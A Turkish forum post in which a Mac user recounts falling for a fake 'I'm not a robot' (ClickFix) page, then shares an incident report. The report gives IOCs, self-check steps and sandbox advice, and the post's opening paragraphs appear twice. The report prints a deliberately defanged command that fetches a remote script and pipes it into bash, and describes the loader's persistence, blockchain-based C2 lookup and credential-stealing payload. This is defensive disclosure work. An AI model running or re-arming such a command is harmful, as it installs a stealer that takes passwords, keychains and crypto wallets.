Selamlar,
Bugün oldukça can sıkıcı bir durumla karşılaştım ve sizlerle paylaşmak; hem fikir almak hem de benzer bir durumla karşılaşma ihtimalinizi önlemek istiyorum.
Öncelikli olarak dışarıdan saldırılara karşı oldukça özgüvenli hissetmeme rağmen bugün hiç beklemediğim anda hiç beklemediğim bir yerden darbe yedim, boşluğuma denk geldi. Katıldığım bir eğitimde paylaşılan slide linkini bir "s" fazladan yazdım. Bir robot değilim ekranı açıldı, robot değilime basınca bir anda terminale komut falan girmemi istedi, yanlış yazdığımı anlayıp çıktım. Doğru yazıp eğitime devam edecekken arkaplanda kurduğum agent otomasyonu (sadece benim komut girmem gereken zamanlarda durdurup terminal ekranı açıyor, komutu giriyorum çalışmasına devam ediyor, güvenlik amaçlı bu şekilde kurmuştum.) açtı, bir bash komutu vardı (bu da çok şüpheli gelmedi) entera bastım. Eğitime döndüm ama tam iki saniye sonra beynime kan sıçradı, ekranda bir şey şifremi istiyordu ve çakma bir MacOS arayüzü gibiydi. Şifremi girmedim ama ödüm koptu, bildiğin ekran başında yanmaya başladım. Hızlıca ayarlar > gizlilik > tüm uygulamaların dosya accesslerini kapattım. Claude'u çalıştırıp Fable'la tarattırdım, bir yandan Avast kurup tarattırmaya başladım. Mac'imde lulu düzgün bir konfigürasyonla çalışıyor ama ondan hiçbir uyarı gelmedi. Bir yandan iCloud ve iki tane Google hesabımın şifresini değiştirdim. Yetmedi Fotoğraflar senkronizasyonu kapatıp tüm fotoğrafları sildim, yetmedi mesajları da sildim. Yetmedi keychain'i kapatıp açtım. Yetmedi Mac'in şifresini değiştirdim. Adeta başım döndü ekran başında, çok korkutucu bir deneyimdi. Fable'dan Allah razı olsun, ciddi yardımları dokundu ama gittim bir de Astra'ya tarattırdım. Yine de kayıp bir 8 KB var, bu durumla alakalı da sizlere danışmak istiyorum.
Sonrasında sakinleşip internetten tarattığımda çok sık rastlanan bir saldırı olduğunu öğrendim. Gerçekten çok basit bir şekilde başıma neler gelebileceğini öğrenmiş oldum. Dışarıdan bakınca ama sen kaşınmışsın gibi bakacaklar olacaktır, umarım başınıza gelmez çok zor bir durum. İncelemek isteyenler için aşağıda blok paylaşıyorum teknik olarak yaşanan durumu.
Bugün oldukça can sıkıcı bir durumla karşılaştım ve sizlerle paylaşmak; hem fikir almak hem de benzer bir durumla karşılaşma ihtimalinizi önlemek istiyorum.
Öncelikli olarak dışarıdan saldırılara karşı oldukça özgüvenli hissetmeme rağmen bugün hiç beklemediğim anda hiç beklemediğim bir yerden darbe yedim, boşluğuma denk geldi. Katıldığım bir eğitimde paylaşılan slide linkini bir "s" fazladan yazdım. Bir robot değilim ekranı açıldı, robot değilime basınca bir anda terminale komut falan girmemi istedi, yanlış yazdığımı anlayıp çıktım. Doğru yazıp eğitime devam edecekken arkaplanda kurduğum agent otomasyonu (sadece benim komut girmem gereken zamanlarda durdurup terminal ekranı açıyor, komutu giriyorum çalışmasına devam ediyor, güvenlik amaçlı bu şekilde kurmuştum.) açtı, bir bash komutu vardı (bu da çok şüpheli gelmedi) entera bastım. Eğitime döndüm ama tam iki saniye sonra beynime kan sıçradı, ekranda bir şey şifremi istiyordu ve çakma bir MacOS arayüzü gibiydi. Şifremi girmedim ama ödüm koptu, bildiğin ekran başında yanmaya başladım. Hızlıca ayarlar > gizlilik > tüm uygulamaların dosya accesslerini kapattım. Claude'u çalıştırıp Fable'la tarattırdım, bir yandan Avast kurup tarattırmaya başladım. Mac'imde lulu düzgün bir konfigürasyonla çalışıyor ama ondan hiçbir uyarı gelmedi. Bir yandan iCloud ve iki tane Google hesabımın şifresini değiştirdim. Yetmedi Fotoğraflar senkronizasyonu kapatıp tüm fotoğrafları sildim, yetmedi mesajları da sildim. Yetmedi keychain'i kapatıp açtım. Yetmedi Mac'in şifresini değiştirdim. Adeta başım döndü ekran başında, çok korkutucu bir deneyimdi. Fable'dan Allah razı olsun, ciddi yardımları dokundu ama gittim bir de Astra'ya tarattırdım. Yine de kayıp bir 8 KB var, bu durumla alakalı da sizlere danışmak istiyorum.
Sonrasında sakinleşip internetten tarattığımda çok sık rastlanan bir saldırı olduğunu öğrendim. Gerçekten çok basit bir şekilde başıma neler gelebileceğini öğrenmiş oldum. Dışarıdan bakınca ama sen kaşınmışsın gibi bakacaklar olacaktır, umarım başınıza gelmez çok zor bir durum. İncelemek isteyenler için aşağıda blok paylaşıyorum teknik olarak yaşanan durumu.
Rich (BB code):
TEKNİK ÖZET (sistem kayıtlarından, Claude Code + Codex ile incelendi)
Not: Komutlar ve adresler güvenlik duvarını tetiklememesi ve yanlışlıkla tıklanmaması için bilerek bozulmuştur (cur1, ba5h, hxxps, [.] gibi).
Saldırı zinciri
- Sahte "I'm not a robot" sayfası Terminal'e şu komutu yapıştırttı:
Kod:
ba5h <<< $(echo "<base64>" | base64 ‑d)
Çözülmüş hali:
Kod:
cur1 -s 'hxxps://jqmmj3[.]lpcrpmkootabatu[.]com/macos-defaults.sh' | ba5h
- Script 0,15 saniyede ~/Library/LaunchAgents/ altına Apple'a benzer rastgele isimli bir plist yazıp yükledi (RunAtLoad + KeepAlive). İçinde base64 ile gizlenmiş AppleScript var, osa-script ile çalışıyor.
- AppleScript, Polygon blokzincirindeki bir akıllı kontrattan (EtherHiding yöntemi) komut sunucusunun adresini okuyor; alan adı sabit olmadığı için engellenemiyor, operatör haftalık değiştiriyor.
- Sunucudan "bmodule" indirip bellekte çalıştırıyor: Mac UUID + kullanıcı adını gönderiyor, sahte "System Settings" şifre penceresi açıyor, girilen şifreyi yerel olarak doğruluyor, doğruysa gizli bir dosyaya yazıp sunucuya kaydoluyor ve tüm gizlilik izinlerini sıfırlıyor.
- Kayıttan sonra operatör komutuyla: AMOS hırsız (Keychain, tarayıcı şifre/çerez, kripto cüzdan, Notlar, Telegram, Masaüstü/Belgeler), XMRig madenci, uzak kabuk, sahte Ledger uygulaması.
Bende ne oldu
- 11 ağ bağlantısı, 3 saniyede, her biri 2-7 ms. ~8 KB gönderildi (11 TLS el sıkışması + küçük JSON), ~115 KB alındı (modül).
- Şifre penceresine 3 deneme, üçü de macOS kaydında "ODErrorCredentialsInvalid". Doğru şifre hiç girilmedi.
- Zincir burada koptu: gizli şifre dosyası yok, sunucuya kayıt yok, izin sıfırlama çalışmadı, hırsız/madenci inmedi, pencereden sonra sıfır ağ bağlantısı.
- LaunchAgent 96 saniye yaşadı; macOS'un "Arka plan öğesi eklendi" bildiriminden kapattım, sonra karantinaya alındı.
- Fotoğraflar, Notlar, Kişiler, tarayıcı veritabanları, Keychain kayıtları: saldırı anında dosya erişimi yok, izin (TCC) talebi yok.
- Avast Deep Scan (2,5 milyon dosya): yalnızca plist (MacOS:Dropper-M) ve tuzak sayfanın Safari önbellek kopyaları (HTML:FakeCaptcha-A). Başka bir şey yok.
- LuLu açıktı ama hiç sormadı: "Allow Apple Programs" açık olduğu için Apple imzalı cur1 sessizce geçti.
IOC (bilerek bozuk, tıklamayın)
Kod:
Tuzak sayfa : hxxps://cloudsedge[.]vip/aegis-check/?uid=<kurban başına üretilen değer>
1. aşama : hxxps://jqmmj3[.]lpcrpmkootabatu[.]com/macos-defaults.sh
Kalıcılık : ~/Library/LaunchAgents/com.Apple.armgsiolhwgabsyx.plist
C2 çözümü : Polygon kontrat 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 (kontrat çağrısı, selector 0x2686ecea)
RPC'ler : polygon[.]drpc[.]org, polygon[.]publicnode[.]com, polygon-mainnet[.]gateway[.]tatum[.]io, tenderly[.]rpc[.]polygon[.]community
Takip ID : txid=b5cbe311236d67e1214e77c19a44788d
Artefaktlar : ~/.passphrase, ~/.txid, ~/tempFolderC, /tmp/agent, /tmp/updstat.txt
AV adları : MacOS:Dropper-M [Trj], HTML:FakeCaptcha-A
Örnek SHA256: 6244113dabbe997292dbcdf79db6067f857d908f1f368ec9a175305f3c061f49 (şifreli zip, parola "infected")
Kendini kontrol etmek isteyenler
Üç yere bakın: ~/Library/LaunchAgents içinde tanımadığınız yeni tarihli bir plist; "launch-ctl list" çıktısında Apple dışı bilinmeyen bir job; ~/.passphrase, ~/.txid ve /tmp/agent dosyalarının var olmaması. KnockKnock (Objective-See, ücretsiz) tüm başlangıç öğelerini listeler ve VirusTotal'da sorgular.
İncelemek isteyenler için (sandbox)
- Komut sunucusu (lpcrpmkootabatu[.]com) 26 Ekim akşamından beri DNS'te yok, Polygon RPC'ler kontratı engelledi; zincir artık baştan tekrarlanamaz. İnceleyebileceğiniz iki şey var: tuzak sayfanın HTML'i (hâlâ açıksa) ve LaunchAgent örneği.
- Tarayıcıya elle girmeyin. URL'yi urlscan.io veya any.run'a verin; ekran görüntüsünü, JavaScript'i ve panoya kopyalanan komutu oradan alırsınız.
- Yerelde açmak isteyen: ağı izole sanal makine (UTM/Parallels, snapshot alınmış, paylaşılan klasör ve pano kapalı, iCloud'a giriş yapılmamış). Sayfanın verdiği komutu asla çalıştırmayın; sadece base64'ünü çözüp metin olarak okuyun, indirmeyi dosyaya yapın, kabuğa vermeyin.
- Örnek plist'i LaunchAgents klasörüne koymayın; içindeki base64'ü metin dosyasına çözüp okuyun, osa-script'e vermeyin. AppleScript her karakteri (ASCII character N) biçiminde gizlemiş, basit bir regex ile açılıyor.
- Polygon kontratı herkese açık: polygonscan üzerinde yukarıdaki adrese bakın; setServerURL işlemleri geçmiş C2 alan adlarının tamamını gösterir, hiçbir şey çalıştırmadan.
- Örnek dosyayı isteyen araştırmacıya DM ile veriyorum.
Analizler: notes.netbytesec.com (Ağustos 2026, "Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding"), talanoscybersecurity.com, haveibeensquatted.com, gbhackers.com, cribl.io, thehackernews.com (CTM360, 17.000 ClickFix URL'si)